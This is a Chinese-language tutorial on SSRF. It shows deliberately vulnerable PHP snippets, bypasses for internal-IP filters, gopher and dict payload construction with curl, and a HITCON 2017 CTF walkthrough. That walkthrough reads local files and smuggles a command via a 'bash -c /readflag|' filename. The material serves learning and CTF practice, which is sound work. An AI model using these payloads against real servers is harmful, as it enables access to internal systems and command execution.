概述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
原理
有些网站提供了从其他服务器上获取数据的功能,就是通过访问指定的URL来获取图片,下载文件,读取文件内容等,如果这个URL是一个内网地址,内网信息就可能被泄露。
SSRF可以做什么?
可以对外网服务器所在的内网进行端口扫描
可以对内网web应用进行指纹识别
攻击内外网的web应用,如sql注入、命令执行等
利用file协议读取本地文件等
利用函数
file_get_contents()
file_get_contents()
:把文件读入一个字符串
test.php
<?php
$content=file_get_contents($_GET['url']);
echo "$content";
?>
fsockopen()
fsockopen()
:打开一个网络连接或者一个Unix套接字连接
test.php
<?php
$host=$_GET['url'];
$port=$_GET['port'];
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if ($fp) {
echo "successfully connect";
}
?>
curl_exec()
curl_exec()
:执行一个cURL会话,是危害最大的函数
test.php
<?php
$url = $_GET['url'];
//创建一个cURL资源
$c = curl_init($url);
//抓取URL并把它传递给浏览器
echo curl_exec($c);
?>
绕过方式
一般防护方法是验证是否是内网IP,如果是内网IP则阻止访问
1.攻击本地
http://127.0.0.1:80
http://localhost:22
2.利用[::]
http://[::]:80/ >>> http://127.0.0.1
这个方法我没有实验成功,应该是不能用了
3.利用@
http://example.com@127.0.0.1
4.利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
5.利用特殊域名
利用的原理是DNS解析
10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
192.168.20.46.xip.io resolves to 192.168.20.46
6.利用DNS解析
在域名上设置A记录,指向127.0.0.1,需要有域名
7.利用句号
127。0。0。1
8.利用进制转换
IP:127.0.0.1
八进制:017700000001
十六进制:0x7F000001
9.利用协议
Gopher协议
定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,然后构成符合gopher协议格式的请求 可以利用gopher协议反弹shell
格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- gopher的默认端口是70
curl命令中使用gopher
创建一个test.php
供访问
//test.php
<?php
echo $_GET['name'];
?>
用gopher发送get请求
先准备一个get请求的数据包。(我的电脑IP是192.168.1.75)
GET /test.php?name=ssrf HTTP/1.1
HOST: 192.168.1.75
然后转换为gopher格式
- 进行URL编码
- 问号(?)也需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束
GET%20%2Ftest.php%3Fname%3Dssrf%20%2FHTTP%2F1.1%0d%0aHOST%3A%20192.168.1.75%0d%0a
执行命令
curl gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20HTTP%2F1.1%0d%0aHost%3A%20192.168.1.75%0d%0a
继续测试,修改get数据包中的Host=1.1.1.1
curl gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20HTTP%2F1.1%0d%0aHost%3A%201.1.1.1%0d%0a
竟然执行成功了,那么修改gopher://1.1.1.1:80
呢?
curl gopher://1.1.1.1:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20HTTP%2F1.1%0d%0aHost%3A%20192.168.1.75%0d%0a
这个报错了,所以IP只受gopher://ip:port
影响,不受数据包里的Host
影响
用gopher发送post请求
数据包
POST /test.php HTTP/1.1
Host:192.168.1.75
Content-Type:application/x-www-form-urlencoded
Content-Length:9
name=ssrf
转换为gopher格式
POST%20%2Ftest.php%20HTTP%2F1.1%0d%0ahost%3A192.168.1.75%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A9%0d%0aname%3Dssrf%0d%0a
执行命令
curl gopher://192.168.1.75:80/_POST%20%2Ftest.php%20HTTP%2F1.1%0d%0aHost%3A192.168.1.75%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A9%0d%0a%0d%0aname%3Dssrf%0d%0a
SSRF中使用gopher
上面我们知道了如何使用curl命令
发起gopher请求
,接着我们学习SSRF
中怎么使用gopher
先创建一个存在SSRF
漏洞的php文件
//test2.php
<?php
$url = $_GET['url'];
echo $url;
// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
$output = curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
var_dump($output);
?>
利用上面讲过的的get请求数据包,构造一个url
http://192.168.1.75/test2.php?url=gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20%2FHTTP%2F1.1%0d%0aHOST%3A%20192.168.1.75%0d%0a
访问发现没有输出ssrf
,原因是PHP在接收到参数后会做一次URL解码,所以test2.php
中执行的是
curl_exce("gopher://192.168.1.75:80/_GET /test.php?name=ssrf /HTTP/1.1 HOST: 192.168.1.75")
而不是
curl_exce("gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20%2FHTTP%2F1.1%0d%0aHOST%3A%20192.168.1.75%0d%0a")
所以我们需要进行两次URL编码
http://192.168.1.75/test2.php?url=gopher://192.168.1.75:80/_GET%2520%252Ftest.php%253Fname%253Dssrf%2520HTTP%252F1.1%250d%250aHOST%253A%2520192.168.1.75%250d%250a
显示ssrf
,成功在ssrf中利用gopher
dict协议
定义:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。
作用
可以探测端口的开放情况和指纹信息
使用方法
dict://<host>:<port>/命令:参数
注意
dict协议执行命令要一条一条执行
file协议
file协议主要用于访问本地计算机中的文件
使用方法
file:///文件路径
漏洞利用
通过CTF题目来学习如何利用SSRF
题目是BUUCTF
上的[HITCON 2017]SSRFme
源码分析
//获取$_SERVER["REMOTE_ADDR"]
if (isset($\_SERVER['HTTP\_X\_FORWARDED\_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
//输出$_SERVER["REMOTE_ADDR"]
echo $_SERVER["REMOTE_ADDR"];
//根据$_SERVER["REMOTE_ADDR"]建立一个沙箱
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
//获取$_GET["url"],执行GET命令
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
//获取文件路径和文件名
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
//将GET命令返回的内容写入filename文件中
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
由于后端代码没有对$_GET["url"]
进行检测,直接作为GET
命令的参数,所以存在SSRF
漏洞
思路
传入
?url=file:///
,这样服务器会执行GET file:///
,访问了根目录传入
?filename=abc
,这样上面执行的结果就会保存在这里面根据
REMOTE_ADDR
的值进行md5
计算,得出沙箱目录,然后访问沙箱目录下的abc
用?url=file:///flag&filename=flag
,获取flag
,但是没有作用
应该是用readflag
来读取flag
,想办法获取readflag
的执行结果
GET
命令会调用底层的open()
函数,open()
存在命令执行(要执行的命令先前必须要有以命令为文件名的文件存在),并且还支持file函数
所以我们先创建一个以命令为文件名的文件,
?url=&filename=bash -c /readflag|
,然后执行?url=file:bash -c /readflag|&filename=flag
,最后访问沙箱目录下的flag
文件即可参考文章:
https://blog.csdn.net/qq_45521281/article/details/105868449
https://www.secpulse.com/archives/65832.html
https://zhuanlan.zhihu.com/p/116039804
https://zhuanlan.zhihu.com/p/112055947
总结
上面这道题就是利用SSRF访问到了服务器内网的文件,以后遇到其他题目了再继续总结